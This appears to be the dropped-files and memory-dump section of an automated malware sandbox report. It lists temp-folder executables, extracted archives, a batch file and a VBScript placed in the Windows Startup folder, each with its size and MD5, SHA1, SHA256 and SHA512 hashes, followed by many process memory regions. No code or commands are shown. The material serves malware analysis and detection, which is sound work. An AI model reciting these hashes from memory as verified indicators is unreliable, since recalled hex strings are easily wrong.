                      Filesize

                      276KB

                      MD5

                      fa5016fc7fd8afb70576f945e7a467a6

                      SHA1

                      e2fa696d357eda0dcc5fcee766969e5f773443ff

                      SHA256

                      8711c0444e0e2869118f577b3e28776c75d0845691bac42cb92005cc97c62b8a

                      SHA512

                      a0174759a66404f47a9b0ba57e38ea5b51c4155f1420908a57a17a90bae9970040feebb16c5b2e2c649eae67b38cfc920df0fdec1f5252fb8be21974b67d3d67

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\a\wrofile1.exe
                      Filesize

                      276KB

                      MD5

                      fe559e673d14f05af4fd51191ffc31fb

                      SHA1

                      ff79f669f4dd143ef33094d087e6c289ef43a588

                      SHA256

                      28700ee52d6c5251e2c75bff6d6a8cbf63999aeafeacdc621b87945b6d04a637

                      SHA512

                      c7bfdebc6c5adea21387d3219a52b4b59c225b518a97bafbcad73df7c327cc03321b6a33d8b19a5b461cbc00ef43c14e3429c913b5ca49543d5e4156a79ecee9

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\cfvjjkn
                      Filesize

                      4KB

                      MD5

                      60a0bdc1cf495566ff810105d728af4a

                      SHA1

                      243403c535f37a1f3d5f307fc3fb8bdd5cbcf6e6

                      SHA256

                      fd12da9f9b031f9fa742fa73bbb2c9265f84f49069b7c503e512427b93bce6d2

                      SHA512

                      4445f214dbf5a01d703f22a848b56866f3f37b399de503f99d40448dc86459bf49d1fa487231f23c080a559017d72bcd9f6c13562e1f0bd53c1c9a89e73306a5

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\differences
                      Filesize

                      481KB

                      MD5

                      134b1f6d71374d538d0ce5268bc547d2

                      SHA1

                      4ed396631e1f50adfecebdad795152ad189f1516

                      SHA256

                      6ddf551c3d7019061800785cc189ed10619ea9bf3234f5504e1ced315d0d2e96

                      SHA512

                      d108362aa77dcf0c824b2090f58f7f6ad0f53d76fad5ab6fe9271330bfe3337262b82ce9a5150e03139df8ed9c42417c9eeeb12cc1847067f91c20e7cbe64539

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\ferritic
                      Filesize

                      145KB

                      MD5

                      b97cfa7d4c0914ef3bb656cf7b6a95c6

                      SHA1

                      e6c61c2a88f83b07a868e7b4f8c6496697944445

                      SHA256

                      069ecc03912bf679890e24416e068607345f8c77c7968f75ce52775c471d676f

                      SHA512

                      4233719255f746dd17b22c0fbfa60aab086c71de4078b75e7e921bbb5432b35522d04bcb5c3d92bbf4e56d29e950fd8fbafa06c0b69e97e5d3f73301b181782b

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\7z.dll
                      Filesize

                      1.6MB

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                      Filesize

                      458KB

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
                      Filesize

                      1.7MB

                      MD5

                      7187cc2643affab4ca29d92251c96dee

                      SHA1

                      ab0a4de90a14551834e12bb2c8c6b9ee517acaf4

                      SHA256

                      c7e92a1af295307fb92ad534e05fba879a7cf6716f93aefca0ebfcb8cee7a830

                      SHA512

                      27985d317a5c844871ffb2527d04aa50ef7442b2f00d69d5ab6bbb85cd7be1d7057ffd3151d0896f05603677c2f7361ed021eac921e012d74da049ef6949e3a3

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
                      Filesize

                      1.7MB

                      MD5

                      b7d1e04629bec112923446fda5391731

                      SHA1

                      814055286f963ddaa5bf3019821cb8a565b56cb8

                      SHA256

                      4da77d4ee30ad0cd56cd620f4e9dc4016244ace015c5b4b43f8f37dd8e3a8789

                      SHA512

                      79fc3606b0fe6a1e31a2ecacc96623caf236bf2be692dadab6ea8ffa4af4231d782094a63b76631068364ac9b6a872b02f1e080636eba40ed019c2949a8e28db

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip
                      Filesize

                      1.7MB

                      MD5

                      0dc4014facf82aa027904c1be1d403c1

                      SHA1

                      5e6d6c020bfc2e6f24f3d237946b0103fe9b1831

                      SHA256

                      a29ddd29958c64e0af1a848409e97401307277bb6f11777b1cfb0404a6226de7

                      SHA512

                      cbeead189918657cc81e844ed9673ee8f743aed29ad9948e90afdfbecacc9c764fbdbfb92e8c8ceb5ae47cee52e833e386a304db0572c7130d1a54fd9c2cc028

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_7.zip
                      Filesize

                      3.3MB

                      MD5

                      cea368fc334a9aec1ecff4b15612e5b0

                      SHA1

                      493d23f72731bb570d904014ffdacbba2334ce26

                      SHA256

                      07e38cad68b0cdbea62f55f9bc6ee80545c2e1a39983baa222e8af788f028541

                      SHA512

                      bed35a1cc56f32e0109ea5a02578489682a990b5cefa58d7cf778815254af9849e731031e824adba07c86c8425df58a1967ac84ce004c62e316a2e51a75c8748

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\file.bin
                      Filesize

                      3.3MB

                      MD5

                      045b0a3d5be6f10ddf19ae6d92dfdd70

                      SHA1

                      0387715b6681d7097d372cd0005b664f76c933c7

                      SHA256

                      94b392e94fa47d1b9b7ae6a29527727268cc2e3484e818c23608f8835bc1104d

                      SHA512

                      58255a755531791b888ffd9b663cc678c63d5caa932260e9546b1b10a8d54208334725c14529116b067bcf5a5e02da85e015a3bed80092b7698a43dab0168c7b

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\main\main.bat
                      Filesize

                      440B

                      MD5

                      3626532127e3066df98e34c3d56a1869

                      SHA1

                      5fa7102f02615afde4efd4ed091744e842c63f78

                      SHA256

                      2a0e18ef585db0802269b8c1ddccb95ce4c0bac747e207ee6131dee989788bca

                      SHA512

                      dcce66d6e24d5a4a352874144871cd73c327e04c1b50764399457d8d70a9515f5bc0a650232763bf34d4830bab70ee4539646e7625cfe5336a870e311043b2bd

                      Download Submit

                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CurrentLeaseTime.vbs
                      Filesize

                      91B

                      MD5

                      6bdf83c3c053e3d7827b8eedd6c998cf

                      SHA1

                      2674902cc4660440099abb17b13fd4608eb7d72a

                      SHA256

                      76ccd0cb1af42fa724683b0b8b2026f52497796a67e0ae90f2f8b5edabd51111

                      SHA512

                      501de0701e207294b448fd0188d098adf0d0ac62db6f53cc2237f3b3e3ece01053c99e4ac2dea757a106ddedb913045700bca14a530c8fdc66b8cf37ea419da7

                      Download Submit

                    • memory/364-3066-0x0000000005260000-0x000000000535C000-memory.dmp

                      Filesize

                      1008KB

                      Download

                    • memory/364-2880-0x0000000000890000-0x00000000009D4000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/364-6494-0x00000000054E0000-0x000000000554E000-memory.dmp

                      Filesize

                      440KB

                      Download

                    • memory/1060-6571-0x00000000003B0000-0x00000000003FA000-memory.dmp

                      Filesize

                      296KB

                      Download

                    • memory/1124-34-0x0000000000400000-0x0000000000554000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/1124-60-0x0000000000400000-0x0000000000554000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/1124-21-0x0000000000400000-0x0000000000554000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/1124-27-0x0000000000400000-0x0000000000554000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/1604-135-0x0000000000400000-0x0000000000554000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/1604-30-0x0000000000400000-0x0000000000554000-memory.dmp

                      Filesize

                      1.3MB

                      Download

                    • memory/2032-6833-0x00007FF7FE5E0000-0x00007FF7FEA70000-memory.dmp

                      Filesize

                      4.6MB

                      Download

                    • memory/2032-6830-0x00007FF7FE5E0000-0x00007FF7FEA70000-memory.dmp

                      Filesize

                      4.6MB

                      Download

                    • memory/2388-6856-0x00007FF7964B0000-0x00007FF796940000-memory.dmp

                      Filesize

                      4.6MB

                      Download

                    • memory/2388-6870-0x00007FF7964B0000-0x00007FF796940000-memory.dmp

                      Filesize

                      4.6MB

                      Download

                    • memory/2392-6504-0x0000000000400000-0x0000000000432000-memory.dmp

                      Filesize

                      200KB

                      Download

                    • memory/2452-6495-0x000001A9EB840000-0x000001A9EB896000-memory.dmp

                      Filesize

                      344KB

                      Download

                    • memory/2452-1279-0x000001A9ED920000-0x000001A9EDA2A000-memory.dmp

                      Filesize

                      1.0MB

                      Download

                    • memory/2452-1278-0x000001A9EB790000-0x000001A9EB798000-memory.dmp

                      Filesize

                      32KB

                      Download

                    • memory/2452-1277-0x0000000000400000-0x00000000004CE000-memory.dmp

                      Filesize

                      824KB

                      Download

                    • memory/3200-6895-0x00007FF7964B0000-0x00007FF796940000-memory.dmp

                      Filesize

                      4.6MB

                      Download

                    • memory/3968-6810-0x0000000005D80000-0x0000000005DCC000-memory.dmp

                      Filesize

                      304KB

                      Download

                    • memory/3968-6803-0x0000000005680000-0x00000000059D4000-memory.dmp

                      Filesize

                      3.3MB

                      Download

                    • memory/4040-41-0x00000000744D0000-0x0000000074C80000-memory.dmp

                      Filesize

                      7.7MB

                      Download

                    • memory/4040-14-0x00000000744DE000-0x00000000744DF000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/4040-18-0x0000000007F50000-0x00000000084F4000-memory.dmp

                      Filesize

                      5.6MB

                      Download

                    • memory/4040-15-0x00000000009A0000-0x00000000009EA000-memory.dmp

                      Filesize

                      296KB

                      Download

                    • memory/4040-16-0x0000000005420000-0x0000000005478000-memory.dmp

                      Filesize

                      352KB

                      Download

                    • memory/4040-17-0x0000000007900000-0x000000000799C000-memory.dmp

                      Filesize

                      624KB

                      Download

                    • memory/4040-20-0x00000000744D0000-0x0000000074C80000-memory.dmp

                      Filesize

                      7.7MB

                      Download

                    • memory/4040-19-0x0000000007A40000-0x0000000007AD2000-memory.dmp

                      Filesize

                      584KB

                      Download

                    • memory/4112-45-0x0000000000800000-0x0000000000C62000-memory.dmp

                      Filesize

                      4.4MB

                      Download

                    • memory/4112-916-0x00000000089D0000-0x0000000008A36000-memory.dmp

                      Filesize

                      408KB

                      Download

                    • memory/4112-6522-0x0000000009520000-0x0000000009654000-memory.dmp

                      Filesize

                      1.2MB

                      Download

                    • memory/4112-6521-0x00000000094A0000-0x0000000009516000-memory.dmp

                      Filesize

                      472KB

                      Download

                    • memory/4112-6523-0x0000000009470000-0x000000000948E000-memory.dmp

                      Filesize

                      120KB

                      Download

                    • memory/4112-6525-0x00000000097B0000-0x00000000097BE000-memory.dmp

                      Filesize

                      56KB

                      Download

                    • memory/4112-6538-0x00000000097E0000-0x00000000097EA000-memory.dmp

                      Filesize

                      40KB

                      Download

                    • memory/4112-850-0x00000000074E0000-0x00000000074EA000-memory.dmp

                      Filesize

                      40KB

                      Download

                    • memory/4112-6572-0x0000000009D70000-0x0000000009E92000-memory.dmp

                      Filesize

                      1.1MB

                      Download

                    • memory/4112-3415-0x0000000000800000-0x0000000000C62000-memory.dmp

                      Filesize

                      4.4MB

                      Download

                    • memory/4112-6644-0x0000000009350000-0x000000000939C000-memory.dmp

                      Filesize

                      304KB

                      Download

                    • memory/4112-6695-0x0000000000800000-0x0000000000C62000-memory.dmp

                      Filesize

                      4.4MB

                      Download

                    • memory/4112-46-0x0000000000800000-0x0000000000C62000-memory.dmp

                      Filesize

                      4.4MB

                      Download

                    • memory/4112-44-0x0000000000800000-0x0000000000C62000-memory.dmp

                      Filesize

                      4.4MB

                      Download

                    • memory/4248-101-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-99-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-59-0x0000025A5A9C0000-0x0000025A5ABA2000-memory.dmp

                      Filesize

                      1.9MB

                      Download

                    • memory/4248-61-0x0000025A75020000-0x0000025A751BE000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-1269-0x0000025A766C0000-0x0000025A76714000-memory.dmp

                      Filesize

                      336KB

                      Download

                    • memory/4248-1267-0x0000025A5B010000-0x0000025A5B05C000-memory.dmp

                      Filesize

                      304KB

                      Download

                    • memory/4248-119-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-1266-0x0000025A76370000-0x0000025A7647E000-memory.dmp

                      Filesize

                      1.1MB

                      Download

                    • memory/4248-117-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-123-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-87-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-64-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-65-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-67-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-69-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-121-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-71-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-73-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-115-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-75-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-77-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-79-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-113-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-109-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-81-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-108-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-105-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-97-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-111-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-103-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-95-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-93-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-90-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-83-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4248-85-0x0000025A75020000-0x0000025A751B8000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/4416-1-0x00000000009C0000-0x00000000009C8000-memory.dmp

                      Filesize

                      32KB

                      Download

                    • memory/4416-2-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

                      Filesize

                      10.8MB

                      Download

                    • memory/4416-733-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

                      Filesize

                      10.8MB

                      Download

                    • memory/4416-343-0x00007FF9A4C43000-0x00007FF9A4C45000-memory.dmp

                      Filesize

                      8KB

                      Download

                    • memory/4416-6770-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

                      Filesize

                      10.8MB

                      Download

                    • memory/4416-0-0x00007FF9A4C43000-0x00007FF9A4C45000-memory.dmp

                      Filesize

                      8KB

                      Download

                    • memory/4816-6745-0x00000000007F0000-0x00000000009B4000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/4816-6578-0x00000000007F0000-0x00000000009B4000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/5724-3653-0x0000000000230000-0x000000000024C000-memory.dmp

                      Filesize

                      112KB

                      Download

                    • memory/5952-6567-0x0000025A43030000-0x0000025A43052000-memory.dmp

                      Filesize

                      136KB

                      Download

                    • memory/6020-6577-0x0000000000650000-0x0000000000814000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/6020-6536-0x0000000000650000-0x0000000000814000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/6024-6692-0x0000000007FF0000-0x000000000866A000-memory.dmp

                      Filesize

                      6.5MB

                      Download

                    • memory/6024-6627-0x00000000061F0000-0x0000000006256000-memory.dmp

                      Filesize

                      408KB

                      Download

                    • memory/6024-6626-0x0000000006150000-0x0000000006172000-memory.dmp

                      Filesize

                      136KB

                      Download

                    • memory/6024-6666-0x00000000068D0000-0x00000000068EE000-memory.dmp

                      Filesize

                      120KB

                      Download

                    • memory/6024-6631-0x00000000062D0000-0x0000000006624000-memory.dmp

                      Filesize

                      3.3MB

                      Download

                    • memory/6024-6698-0x0000000007AD0000-0x0000000007B66000-memory.dmp

                      Filesize

                      600KB

                      Download

                    • memory/6024-6583-0x00000000032F0000-0x0000000003326000-memory.dmp

                      Filesize

                      216KB

                      Download

                    • memory/6024-6587-0x0000000005A60000-0x0000000006088000-memory.dmp

                      Filesize

                      6.2MB

                      Download

                    • memory/6024-6693-0x00000000079A0000-0x00000000079BA000-memory.dmp

                      Filesize

                      104KB

                      Download

                    • memory/6024-6699-0x0000000007A60000-0x0000000007A82000-memory.dmp

                      Filesize

                      136KB

                      Download

                    • memory/6136-6506-0x000001A341940000-0x000001A341E68000-memory.dmp

                      Filesize

                      5.2MB

                      Download

                    • memory/6136-4111-0x000001A341100000-0x000001A3412C2000-memory.dmp

                      Filesize

                      1.8MB

                      Download

                    • memory/6136-4048-0x000001A326A70000-0x000001A326A88000-memory.dmp

                      Filesize

                      96KB

                      Download

                    • memory/6528-6518-0x0000000000F20000-0x000000000100A000-memory.dmp

                      Filesize

                      936KB

                      Download

                    • memory/6528-6520-0x0000000005BE0000-0x0000000005BFE000-memory.dmp

                      Filesize

                      120KB

                      Download